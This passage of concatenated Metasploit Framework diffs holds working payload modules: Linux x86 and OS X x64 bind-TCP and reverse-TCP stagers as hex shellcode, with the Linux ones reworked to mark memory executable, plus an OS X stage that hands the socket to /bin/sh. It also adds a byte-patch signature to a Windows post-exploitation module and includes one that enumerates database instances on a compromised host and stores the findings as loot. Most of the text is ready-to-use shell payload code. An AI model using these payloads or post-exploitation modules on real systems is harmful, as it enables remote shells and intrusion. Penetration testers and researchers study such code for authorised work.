|
||||
"\x68\x0a\x00\xbf\xbf" +# push dword 0xbfbf000a
|
||||
"\x89\xe1" +# mov ecx,esp
|
||||
"\x6a\x1c" +# push byte +0x1c
|
||||
"\x51" +# push ecx
|
||||
"\x50" +# push eax
|
||||
"\x89\xe1" +# mov ecx,esp
|
||||
"\x6a\x66" +# push byte +0x66
|
||||
"\x58" +# pop eax
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\xd1\xe3" +# shl ebx,1
|
||||
"\xb0\x66" +# mov al,0x66
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x43" +# inc ebx
|
||||
"\xb0\x66" +# mov al,0x66
|
||||
"\x89\x51\x04" +# mov [ecx+0x4],edx
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x93" +# xchg eax,ebx
|
||||
"\xb6\x0c" +# mov dh,0xc
|
||||
"\xb0\x03" +# mov al,0x3
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x89\xdf" +# mov edi,ebx
|
||||
"\xff\xe1" # jmp ecx
|
||||
|
||||
}
|
||||
))
|
||||
end
|
||||
|
|
|
@ -0,0 +1,59 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# BindTcp
|
||||
# -------
|
||||
#
|
||||
# Linux bind TCP stager.
|
||||
#
|
||||
###
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Linux
|
||||
|
||||
def self.handler_type_alias
|
||||
"bind_nonx_tcp"
|
||||
end
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Bind TCP Stager',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Listen for a connection',
|
||||
'Author' => 'skape',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LPORT' => [ 0x14, 'n' ],
|
||||
},
|
||||
'Payload' =>
|
||||
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96" +
|
||||
"\x43\x52\x66\x68\xbf\xbf\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56" +
|
||||
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1" +
|
||||
"\xb0\x66\xcd\x80\x93\xb6\x0c\xb0\x03\xcd\x80\x89\xdf\xff\xe1"
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
end
|
|
@ -32,7 +32,10 @@ module Metasploit3
|
|||
'Name' => 'Bind TCP Stager',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Listen for a connection',
|
||||
'Author' => 'skape',
|
||||
'Author' => [
|
||||
'skape', # original
|
||||
'egypt', # NX support
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
|
@ -41,13 +44,52 @@ module Metasploit3
|
|||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LPORT' => [ 0x14, 'n' ],
|
||||
'LPORT' => [ 0x29, 'n' ],
|
||||
},
|
||||
'Payload' =>
|
||||
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96" +
|
||||
"\x43\x52\x66\x68\xbf\xbf\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56" +
|
||||
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1" +
|
||||
"\xb0\x66\xcd\x80\x93\xb6\x0c\xb0\x03\xcd\x80\x89\xdf\xff\xe1"
|
||||
|
||||
"\x6a\x7d" +# push byte +0x7d
|
||||
"\x58" +# pop eax
|
||||
"\x99" +# cdq
|
||||
"\xb2\x07" +# mov dl,0x7
|
||||
"\xb9\x00\x10\x00\x00" +# mov ecx,0x1000
|
||||
"\x89\xe3" +# mov ebx,esp
|
||||
"\x66\x81\xe3\x00\xf0" +# and bx,0xf000
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x31\xdb" +# xor ebx,ebx
|
||||
"\xf7\xe3" +# mul ebx
|
||||
"\x53" +# push ebx
|
||||
"\x43" +# inc ebx
|
||||
"\x53" +# push ebx
|
||||
"\x6a\x02" +# push byte +0x2
|
||||
"\x89\xe1" +# mov ecx,esp
|
||||
"\xb0\x66" +# mov al,0x66
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x5b" +# pop ebx
|
||||
"\x5e" +# pop esi
|
||||
"\x52" +# push edx
|
||||
"\x68\x02\x00\xbf\xbf" +# push dword 0xbfbf0002
|
||||
"\x6a\x10" +# push byte +0x10
|
||||
"\x51" +# push ecx
|
||||
"\x50" +# push eax
|
||||
"\x89\xe1" +# mov ecx,esp
|
||||
"\x6a\x66" +# push byte +0x66
|
||||
"\x58" +# pop eax
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\xd1\xe3" +# shl ebx,1
|
||||
"\xb0\x66" +# mov al,0x66
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x43" +# inc ebx
|
||||
"\xb0\x66" +# mov al,0x66
|
||||
"\x89\x51\x04" +# mov [ecx+0x4],edx
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x93" +# xchg eax,ebx
|
||||
"\xb6\x0c" +# mov dh,0xc
|
||||
"\xb0\x03" +# mov al,0x3
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x89\xdf" +# mov edi,ebx
|
||||
"\xff\xe1" # jmp ecx
|
||||
|
||||
}
|
||||
))
|
||||
end
|
||||
|
|
|
@ -0,0 +1,60 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# ReverseTcp
|
||||
# ----------
|
||||
#
|
||||
# Linux reverse TCP stager.
|
||||
#
|
||||
###
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Linux
|
||||
|
||||
def self.handler_type_alias
|
||||
"reverse_nonx_tcp"
|
||||
end
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse TCP Stager',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Connect back to the attacker',
|
||||
'Author' => 'skape',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LHOST' => [ 0x11, 'ADDR' ],
|
||||
'LPORT' => [ 0x17, 'n' ],
|
||||
},
|
||||
'Payload' =>
|
||||
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b" +
|
||||
"\x68\x7f\x00\x00\x01\x66\x68\xbf\xbf\x66\x53\x89\xe1\x6a\x66\x58" +
|
||||
"\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80" +
|
||||
"\xff\xe1"
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
end
|
|
@ -32,7 +32,10 @@ module Metasploit3
|
|||
'Name' => 'Reverse TCP Stager',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Connect back to the attacker',
|
||||
'Author' => 'skape',
|
||||
'Author' => [
|
||||
'skape', # original
|
||||
'egypt', # NX support
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
|
@ -41,14 +44,48 @@ module Metasploit3
|
|||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LHOST' => [ 0x11, 'ADDR' ],
|
||||
'LPORT' => [ 0x17, 'n' ],
|
||||
'LHOST' => [ 0x12, 'ADDR' ],
|
||||
'LPORT' => [ 0x19, 'n' ],
|
||||
},
|
||||
'Payload' =>
|
||||
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b" +
|
||||
"\x68\x7f\x00\x00\x01\x66\x68\xbf\xbf\x66\x53\x89\xe1\x6a\x66\x58" +
|
||||
"\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80" +
|
||||
"\xff\xe1"
|
||||
|
||||
"\x31\xdb" +# xor ebx,ebx
|
||||
"\xf7\xe3" +# mul ebx
|
||||
"\x53" +# push ebx
|
||||
"\x43" +# inc ebx
|
||||
"\x53" +# push ebx
|
||||
"\x6a\x02" +# push byte +0x2
|
||||
"\xb0\x66" +# mov al,0x66
|
||||
"\x89\xe1" +# mov ecx,esp
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x97" +# xchg eax,edi
|
||||
"\x5b" +# pop ebx
|
||||
"\x68\x7f\x00\x00\x01" +# push dword 0x100007f
|
||||
"\x68\x02\x00\xbf\xbf" +# push dword 0xbfbf0002
|
||||
"\x89\xe1" +# mov ecx,esp
|
||||
"\x6a\x66" +# push byte +0x66
|
||||
"\x58" +# pop eax
|
||||
"\x50" +# push eax
|
||||
"\x51" +# push ecx
|
||||
"\x57" +# push edi
|
||||
"\x89\xe1" +# mov ecx,esp
|
||||
"\x43" +# inc ebx
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\xb2\x07" +# mov dl,0x7
|
||||
"\xb9\x00\x10\x00\x00" +# mov ecx,0x1000
|
||||
"\x89\xe3" +# mov ebx,esp
|
||||
"\xc1\xeb\x0c" +# shr ebx,0xc
|
||||
"\xc1\xe3\x0c" +# shl ebx,0xc
|
||||
"\xb0\x7d" +# mov al,0x7d
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x5b" +# pop ebx
|
||||
"\x89\xe1" +# mov ecx,esp
|
||||
"\x99" +# cdq
|
||||
"\xb6\x0c" +# mov dh,0xc
|
||||
"\xb0\x03" +# mov al,0x3
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\xff\xe1" # jmp ecx
|
||||
|
||||
}
|
||||
))
|
||||
end
|
||||
|
|
|
@ -0,0 +1,101 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Stager
|
||||
|
||||
def initialize(info = { })
|
||||
super(merge_info(info,
|
||||
'Name' => 'Bind TCP Stager',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Listen, read length, read buffer, execute',
|
||||
'Author' => 'nemo <nemo[at]felinemenace.org>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86_64,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Convention' => 'sockedi',
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' => { 'LPORT' => [ 31, 'n'] },
|
||||
'Payload' =>
|
||||
"\xB8\x61\x00\x00\x02" + # mov eax,0x2000061
|
||||
"\x6A\x02" + # push byte +0x2
|
||||
"\x5F" + # pop rdi
|
||||
"\x6A\x01" + # push byte +0x1
|
||||
"\x5E" + # pop rsi
|
||||
"\x48\x31\xD2" + # xor rdx,rdx
|
||||
"\x0F\x05" + # loadall286
|
||||
"\x48\x89\xC7" + # mov rdi,rax
|
||||
"\xB8\x68\x00\x00\x02" + # mov eax,0x2000068
|
||||
"\x48\x31\xF6" + # xor rsi,rsi
|
||||
"\x56" + # push rsi
|
||||
"\xBE\x00\x02\x15\xB3" + # mov esi,0xb3150200
|
||||
"\x56" + # push rsi
|
||||
"\x48\x89\xE6" + # mov rsi,rsp
|
||||
"\x6A\x10" + # push byte +0x10
|
||||
"\x5A" + # pop rdx
|
||||
"\x0F\x05" + # loadall286
|
||||
"\xB8\x6A\x00\x00\x02" + # mov eax,0x200006a
|
||||
"\x48\x31\xF6" + # xor rsi,rsi
|
||||
"\x48\xFF\xC6" + # inc rsi
|
||||
"\x49\x89\xFC" + # mov r12,rdi
|
||||
"\x0F\x05" + # loadall286
|
||||
"\xB8\x1E\x00\x00\x02" + # mov eax,0x200001e
|
||||
"\x4C\x89\xE7" + # mov rdi,r12
|
||||
"\x48\x89\xE6" + # mov rsi,rsp
|
||||
"\x48\x89\xE2" + # mov rdx,rsp
|
||||
"\x48\x83\xEA\x04" + # sub rdx,byte +0x4
|
||||
"\x0F\x05" + # loadall286
|
||||
"\x49\x89\xC5" + # mov r13,rax
|
||||
"\x48\x89\xC7" + # mov rdi,rax
|
||||
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
|
||||
"\x48\x31\xC9" + # xor rcx,rcx
|
||||
"\x51" + # push rcx
|
||||
"\x48\x89\xE6" + # mov rsi,rsp
|
||||
"\xBA\x04\x00\x00\x00" + # mov edx,0x4
|
||||
"\x4D\x31\xC0" + # xor r8,r8
|
||||
"\x4D\x31\xD2" + # xor r10,r10
|
||||
"\x0F\x05" + # loadall286
|
||||
"\x41\x5B" + # pop r11
|
||||
"\x4C\x89\xDE" + # mov rsi,r11
|
||||
"\x81\xE6\x00\xF0\xFF\xFF" + # and esi,0xfffff000
|
||||
"\x81\xC6\x00\x10\x00\x00" + # add esi,0x1000
|
||||
"\xB8\xC5\x00\x00\x02" + # mov eax,0x20000c5
|
||||
"\x48\x31\xFF" + # xor rdi,rdi
|
||||
"\x48\xFF\xCF" + # dec rdi
|
||||
"\xBA\x07\x00\x00\x00" + # mov edx,0x7
|
||||
"\x41\xBA\x02\x10\x00\x00" + # mov r10d,0x1002
|
||||
"\x49\x89\xF8" + # mov r8,rdi
|
||||
"\x4D\x31\xC9" + # xor r9,r9
|
||||
"\x0F\x05" + # loadall286
|
||||
"\x48\x89\xC6" + # mov rsi,rax
|
||||
"\x56" + # push rsi
|
||||
"\x4C\x89\xEF" + # mov rdi,r13
|
||||
"\x48\x31\xC9" + # xor rcx,rcx
|
||||
"\x4C\x89\xDA" + # mov rdx,r11
|
||||
"\x4D\x31\xC0" + # xor r8,r8
|
||||
"\x4D\x31\xD2" + # xor r10,r10
|
||||
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
|
||||
"\x0F\x05" + # loadall286
|
||||
"\x58" + # pop rax
|
||||
"\xFF\xD0" # call rax
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, p)
|
||||
#
|
||||
# Our stager payload expects to see a next-stage length first.
|
||||
#
|
||||
conn.put([p.length].pack('V'))
|
||||
end
|
||||
end
|
|
@ -0,0 +1,57 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Stager
|
||||
|
||||
def initialize(info = { })
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse TCP Stager',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Connect, read length, read buffer, execute',
|
||||
'Author' => 'nemo <nemo[at]felinemenace.org>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86_64,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Convention' => 'sockedi',
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LHOST' => [ 37, 'ADDR'],
|
||||
'LPORT' => [ 35, 'n']
|
||||
},
|
||||
'Payload' =>
|
||||
"\xb8\x61\x00\x00\x02\x6a\x02\x5f\x6a\x01\x5e\x48" +
|
||||
"\x31\xd2\x0f\x05\x49\x89\xc5\x48\x89\xc7\xb8\x62" +
|
||||
"\x00\x00\x02\x48\x31\xf6\x56\x48\xbe\x00\x02\x15" +
|
||||
"\xb3\x7f\x00\x00\x01\x56\x48\x89\xe6\x6a\x10\x5a" +
|
||||
"\x0f\x05\x4c\x89\xef\xb8\x1d\x00\x00\x02\x48\x31" +
|
||||
"\xc9\x51\x48\x89\xe6\xba\x04\x00\x00\x00\x4d\x31" +
|
||||
"\xc0\x4d\x31\xd2\x0f\x05\x41\x5b\x4c\x89\xde\x81" +
|
||||
"\xe6\x00\xf0\xff\xff\x81\xc6\x00\x10\x00\x00\xb8" +
|
||||
"\xc5\x00\x00\x02\x48\x31\xff\x48\xff\xcf\xba\x07" +
|
||||
"\x00\x00\x00\x41\xba\x02\x10\x00\x00\x49\x89\xf8" +
|
||||
"\x4d\x31\xc9\x0f\x05\x48\x89\xc6\x56\x4c\x89\xef" +
|
||||
"\x48\x31\xc9\x4c\x89\xda\x4d\x31\xc0\x4d\x31\xd2" +
|
||||
"\xb8\x1d\x00\x00\x02\x0f\x05\x58\xff\xd0"
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, p)
|
||||
#
|
||||
# Our stager payload expects to see a next-stage length first.
|
||||
#
|
||||
conn.put([p.length].pack('V'))
|
||||
end
|
||||
end
|
|
@ -0,0 +1,38 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'OS X dup2 Command Shell',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'dup2 socket in edi, then execve',
|
||||
'Author' => 'nemo',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86_64,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'Stage' =>
|
||||
{
|
||||
'Payload' =>
|
||||
"\xb8\x5a\x00\x00\x02\x48\x31\xf6\x0f\x05\xb8\x5a"+
|
||||
"\x00\x00\x02\x48\xff\xc6\x0f\x05\x48\x31\xc0\xb8"+
|
||||
"\x3b\x00\x00\x02\xe8\x08\x00\x00\x00\x2f\x62\x69"+
|
||||
"\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"+
|
||||
"\x52\x57\x48\x89\xe6\x0f\x05"
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
end
|
|
@ -13,6 +13,7 @@ require 'msf/core'
|
|||
require 'rex'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/unix'
|
||||
require 'sshkey'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
|
|
@ -62,7 +62,8 @@ class Metasploit3 < Msf::Post
|
|||
{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb76a, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb827, :os => /Windows Vista/ },
|
||||
{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb391, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb44e, :os => /Windows Vista/ },
|
||||
{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xacf6, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xadb3, :os => /Windows Vista/ },
|
||||
{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xe881, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xe93e, :os => /Windows 7/ }
|
||||
{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xe881, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xe93e, :os => /Windows 7/ },
|
||||
{ :sig => "8bff558bec83ec50a1", :sigoffset => 0x97d3, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x9878, :os => /Windows XP.*Service Pack 3 - spanish/ }
|
||||
]
|
||||
|
||||
unsupported if client.platform !~ /win32|win64/i
|
||||
|
|
|
@ -0,0 +1,353 @@
|
|||
##
|
||||
# ## This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'rex'
|
||||
require 'msf/core'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/windows/registry'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::Windows::Registry
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Gather Database Instance Enumeration',
|
||||
'Description' => %q{ This module will enumerate a windows system for installed database instances },
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Barry Shteiman <barry[at]sectorix.com>', # Module author
|
||||
'juan vazquez' # minor help
|
||||
],
|
||||
'Platform' => [ 'windows' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
end
|
||||
|
||||
# method called when command run is issued
|
||||
def run
|
||||
|
||||
results = []
|
||||
|
||||
print_status("Enumerating Databases on #{sysinfo['Computer']}")
|
||||
if check_mssql
|
||||
results += enumerate_mssql
|
||||
end
|
||||
if check_oracle
|
||||
results += enumerate_oracle
|
||||
end
|
||||
if check_db2
|
||||
results += enumerate_db2
|
||||
end
|
||||
if check_mysql
|
||||
results += enumerate_mysql
|
||||
end
|
||||
if check_sybase
|
||||
results += enumerate_sybase
|
||||
end
|
||||
|
||||
if results.empty?
|
||||
print_status("Done, No Databases were found")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Done, Databases Found.")
|
||||
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Header' => "Installed Databases",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"Type",
|
||||
"Instance",
|
||||
"Database",
|
||||
"Port"
|
||||
])
|
||||
|
||||
results.each { |r|
|
||||
report_service(:host => session.sock.peerhost, :port => r[3], :name => r[0], :info => "#{r[0]}, #{r[1]}")
|
||||
tbl << r
|
||||
}
|
||||
|
||||
print_line(tbl.to_s)
|
||||
p = store_loot("host.databases", "text/plain", session, tbl.to_s, "databases.txt", "Running Databases")
|
||||
print_status("Results stored in: #{p}")
|
||||
|
||||
end
|
||||
|
||||
##### initial identification methods #####
|
||||
|
||||
# method for Checking if database instances are installed on host - mssql
|
||||
def check_mssql
|
||||
key = "HKLM\\SOFTWARE\\Microsoft"
|
||||
if registry_enumkeys(key).include?("Microsoft SQL Server")
|
||||
print_status("\tMicrosoft SQL Server found.")
|
||||
return true
|
||||
end
|
||||
return false
|
||||
rescue
|
||||
return false
|
||||
end
|
||||
|
||||
# method for Checking if database instances are installed on host - oracle
|
||||
def check_oracle
|
||||
key = "HKLM\\SOFTWARE\\Oracle"
|
||||
if registry_enumkeys(key).include?("ALL_HOMES")
|
||||
print_status("\tOracle Server found.")
|
||||
return true
|
||||
elsif registry_enumkeys(key).include?("SYSMAN")
|
||||
print_status("\tOracle Server found.")
|
||||
return true
|
||||
elsif registry_enumkeys(key).include?("KEY_XE")
|
||||
print_status("\tOracle Server found.")
|
||||
return true
|
||||
end
|
||||
return false
|
||||
rescue
|
||||
return false
|
||||
end
|
||||
|
||||
# method for Checking if database instances are installed on host - db2
|
||||
def check_db2
|
||||
key = "HKLM\\SOFTWARE\\IBM\\DB2"
|
||||
if registry_enumkeys(key).include?("GLOBAL_PROFILE")
|
||||
print_status("\tDB2 Server found.")
|
||||
return true
|
||||
end
|
||||
return false
|
||||
rescue
|
||||
return false
|
||||
end
|
||||
|
||||
# method for Checking if database instances are installed on host - mysql
|
||||
def check_mysql
|
||||
key = "HKLM\\SOFTWARE"
|
||||
if registry_enumkeys(key).include?("MySQL AB")
|
||||
print_status("\tMySQL Server found.")
|
||||
return true
|
||||
end
|
||||
return false
|
||||
rescue
|
||||
return false
|
||||
end
|
||||
|
||||
# method for Checking if database instances are installed on host - sybase
|
||||
def check_sybase
|
||||
key = "HKLM\\SOFTWARE\\Sybase"
|
||||
if registry_enumkeys(key).include?("SQLServer")
|
||||
print_status("\tSybase Server found.")
|
||||
return true
|
||||
elsif registry_enumkeys(key).include?("Server")
|
||||
print_status("\tSybase Server found.")
|
||||
return true
|
||||
end
|
||||
return false
|
||||
rescue
|
||||
return false
|
||||
end
|
||||
|
||||
##### deep analysis methods #####
|
||||
|
||||
# method to identify mssql instances
|
||||
def enumerate_mssql
|
||||
results = []
|
||||
key = "HKLM\\SOFTWARE\\Microsoft\\Microsoft SQL Server\\Instance Names\\SQL"
|
||||
instances = registry_enumvals(key)
|
||||
if not instances.nil? and not instances.empty?
|
||||
instances.each do |i|
|
||||
tcpkey = "HKLM\\SOFTWARE\\Microsoft\\Microsoft SQL Server\\#{registry_getvaldata(key,i)}\\MSSQLServer\\SuperSocketNetLib\\Tcp\\IPAll"
|
||||
tcpport = registry_getvaldata(tcpkey,"TcpPort")
|
||||
print_good("\t\t+ #{registry_getvaldata(key,i)} (Port:#{tcpport})")
|
||||
results << ["mssql","instance:#{registry_getvaldata(key,i)} port:#{tcpport}","Microsoft SQL Server",tcpport]
|
||||
end
|
||||
end
|
||||
return results
|
||||
rescue
|
||||
print_error("\t\t! could not identify information")
|
||||
return results || []
|
||||
end
|
||||
|
||||
# method to identify oracle instances
|
||||
def enumerate_oracle
|
||||
results = []
|
||||
found_key = false
|
||||
basekey_set = ["HKLM\\SOFTWARE\\Oracle\\SYSMAN","HKLM\\SOFTWARE\\ORACLE\\KEY_XE"]
|
||||
basekey_set.each do |basekey|
|
||||
next if found_key
|
||||
instances = registry_enumkeys(basekey)
|
||||
if instances.nil? or instances.empty?
|
||||
next
|
||||
else
|
||||
found_key = true
|
||||
end
|
||||
|
||||
instances.each do |i|
|
||||
if basekey.include?"KEY_XE"
|
||||
val_ORACLE_SID = registry_getvaldata(basekey,"ORACLE_SID")
|
||||
val_ORACLE_HOME = registry_getvaldata(basekey,"ORACLE_HOME")
|
||||
else
|
||||
key = "#{basekey}\\#{i}"
|
||||
val_ORACLE_SID = registry_getvaldata(key,"ORACLE_SID")
|
||||
val_ORACLE_HOME = registry_getvaldata(key,"ORACLE_HOME")
|
||||
end
|
||||
if not exist?(val_ORACLE_HOME + "\\NETWORK\\ADMIN\\tnsnames.ora")
|
||||
print_error("\t\t! #{val_ORACLE_SID} (No Listener Found)")
|
||||
next
|
||||
end
|
||||
|
||||
data_TNSNAMES = read_file(val_ORACLE_HOME + "\\NETWORK\\ADMIN\\tnsnames.ora")
|
||||
if data_TNSNAMES =~ /PORT\ \=\ (\d+)/
|
||||
port = $1
|
||||
print_good("\t\t+ #{val_ORACLE_SID} (Port:#{port})")
|
||||
results << [ "oracle","instance:#{val_ORACLE_SID} port:#{port}","Oracle Database Server",port ]
|
||||
else
|
||||
print_error("\t\t! #{val_ORACLE_SID} (No Listener Found)")
|
||||
end
|
||||
end
|
||||
end
|
||||
if not found_key
|
||||
print_error("\t\t! Oracle instances not found")
|
||||
end
|
||||
return results
|
||||
rescue
|
||||
print_error("\t\t! could not identify information")
|
||||
return results || []
|
||||
end
|
||||
|
||||
# method to identify mysql instances
|
||||
def enumerate_mysql
|
||||
results = []
|
||||
basekey = "HKLM\\SOFTWARE\\MySQL AB"
|
||||
instances = registry_enumkeys(basekey)
|
||||
if instances.nil? or instances.empty?
|
||||
return results
|
||||
end
|
||||
instances.each do |i|
|
||||
key = "#{basekey}\\#{i}"
|
||||
val_location = registry_getvaldata(key,"Location")
|
||||
|
||||
data = find_mysql_conf(val_location)
|
||||
|
||||
if data and data =~ /port\=(\d+)/
|
||||
port = $1
|
||||
print_good("\t\t+ MYSQL (Port:#{port})")
|
||||
results << ["mysql","instance:MYSQL port:#{port}","MySQL Server",port]
|
||||
else
|
||||
print_error("\t\t! could not identify information")
|
||||
end
|
||||
end
|
||||
return results
|
||||
rescue
|
||||
print_error("\t\t! could not identify information")
|
||||
return results || []
|
||||
end
|
||||
|
||||
# method to identify sybase instances
|
||||
def enumerate_sybase
|
||||
basekey = "HKLM\\SOFTWARE\\Sybase\\SQLServer"
|
||||
instance = registry_getvaldata(basekey,"DSLISTEN")
|
||||
location = registry_getvaldata(basekey,"RootDir")
|
||||
results = []
|
||||
|
||||
if not exist?(location + "\\ini\\sql.ini")
|
||||
print_error("\t\t! could not locate configuration file.")
|
||||
return results
|
||||
end
|
||||
|
||||
data = read_file(location + "\\ini\\sql.ini")
|
||||
